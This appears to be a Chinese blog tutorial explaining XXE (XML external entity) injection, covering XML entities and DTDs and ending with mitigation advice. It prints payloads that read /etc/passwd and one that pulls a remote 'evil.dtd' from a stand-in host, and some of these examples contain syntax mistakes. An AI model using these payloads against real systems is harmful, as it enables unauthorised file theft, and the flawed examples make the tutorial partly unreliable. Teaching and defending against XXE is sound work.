【网络安全】XXE漏洞详细解析

博主昵称:跳楼梯企鹅
博主主页面链接:博主主页传送门

博主专栏页面连接:专栏传送门--网路安全技术
创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,望各位技术友给予指导。
博主座右铭:发现光,追随光,成为光,散发光;
博主研究方向:渗透测试、机器学习 ;
博主寄语:感谢各位技术友的支持,您的支持就是我前进的动力 ;

目录

 一、XXE漏洞

(1)XML概念

(2)举例

(2)实体

(3)DTD-实体

(4)引入外部实体方式有很多种

二、XXE漏洞修复


 

 一、XXE漏洞

    XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

(1)XML概念

    XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。但是XML和HTML有明显区别如下:
    XML 被设计用来传输和存储数据。
    HTML 被设计用来显示数据。

(2)举例

<?xml version=’1.0’?>                        //声明XML解析器版本来解析
<person>                                //根元素
<name>test</name>                        //子元素,里面的test就是值
<age>20</age>
</person>

在XML中某些单独字符,如引号” ‘ & 和 尖括号 都是不允许直接出现在XML文档中的 因为XML 解析的时候 会分辨不清 这种输入到底是数值还是标签

所以出现了实体Entity来解决这个问题

实体Entity是一种简单的存储单元就好比xml变量一样可以对它进行赋值﹐并在xml文档中不同的地方对他引用。实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。

<?xml version=’1.0’?>		
<!DOCTYPE person[
<!ENTITY name “john”>
]>				
<person>							
<name>&name;</name>						
<age>20</age>
</person>

(2)实体

实体分为三种类型,分别是一般实体(通用实体),参数实体,预定义实体。

一般实体:

<?xml version=’1.0’?>        
<!DOCTYPE person[
<!ENTITY name “john”>
]>                
<person>                            
<name>&name;</name>                        
<age>20</age>
</person>

参数实体:

参数实体:它必须定义在单独的DTD区域,这种实体相对灵活<!ENTITY % outer“<!ENTITY inner 'John'>">。这种功能在漏洞利用场景的外部实体注入(XXE)过程中非常有用

预定义实体:它是某些特殊符号的一组预定义数值集
<hello>H<llo</hello>					
<hello>&#x3c;</hello>			// '<'16进制形式

(3)DTD-实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可以在内部或外部进行声明

内部实体:

<!ENTITY 实体名称 “实体的值”>

内部实体例子:

<?xml version=”1.0”?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r “hu3sky”>
]>
<note>
<name>&hack3r;</name>
</note>

外部实体:

<!ENTITY 实体名称 SYSTEM “URI/URL”>
<?xml version=”1.0”?>
<!DOCTYPE a[
<!ENTITY  name SYSTEM “http://xx.com/aa.dtd”>
]>
<a>
<name>&name;</name>
</a>

参数实体:

<!ENTITY %实体名称 “值”> or <!ENTITY %实体名称 SYSTEM “URL”>

参数实体+外部实体例子:

<?xml version=”1.0”?>
<!DOCTYPE a[
<!ENTITY % name SYSTEM  “file:///etc/passwd”>
%name;
]>

‘%name’ (参数实体)是在DTD中被引用的,而‘&name;’是在xml文档中被引用的。
XXE主要是利用了DTD引用外部实体导致的漏洞。

XXE漏洞就是XML外部实体注入。既然是外部实体注入,那么针对于XXE漏洞肯定就是XML外部实体了。


(4)引入外部实体方式有很多种

比如:
实体ENTITY不仅能用来存储指定数值,他还能从本地文件或者远程文件中调用相关的数据作为后续实体引用。如外部实体(XML External Entity)就是其中之一。

Name ‘Pwn’
	Name ‘secret.txt’
	Name ‘http://abc.com/file’


所以这就形成了一个广泛的攻击面

<?xml version=’1.0’?>
<!DOCTYPE XEE[
	<!ENTITY aaa SYSTEM “secret.txt”>
]>
<pwn>&aaa;</pwn>


恶意引入外部实体方式1:
	XML内容:
	<?xml version=’1.0’?>
	<!DOCTYPE a [
		<!ENTITY % d SYSTEM “file:///etc/passwd”>
	]>
	<c>&d;</c>

恶意引入外部实体方式2:
	XML内容
	<?xml version=’1.0’?>
	<!DOCTYPE a [
			<!ENTITY % d SYSTEM “http://abc.com/evil.dtd”>
	%d;
	]>
	<c>&b;</c>

	Evil.dtd内容

	<!ENTITY b SYSTEM “file://etc/passwd”>

二、XXE漏洞修复

针对于XXE漏洞修复其实只有两点:

    1、禁止使用外部实体,例如libxml disable_entity_loader(true) 。
    2、过滤用户提交的XML数据,防止出现非法内容。

猜你喜欢

转载自blog.csdn.net/weixin_50481708/article/details/127100469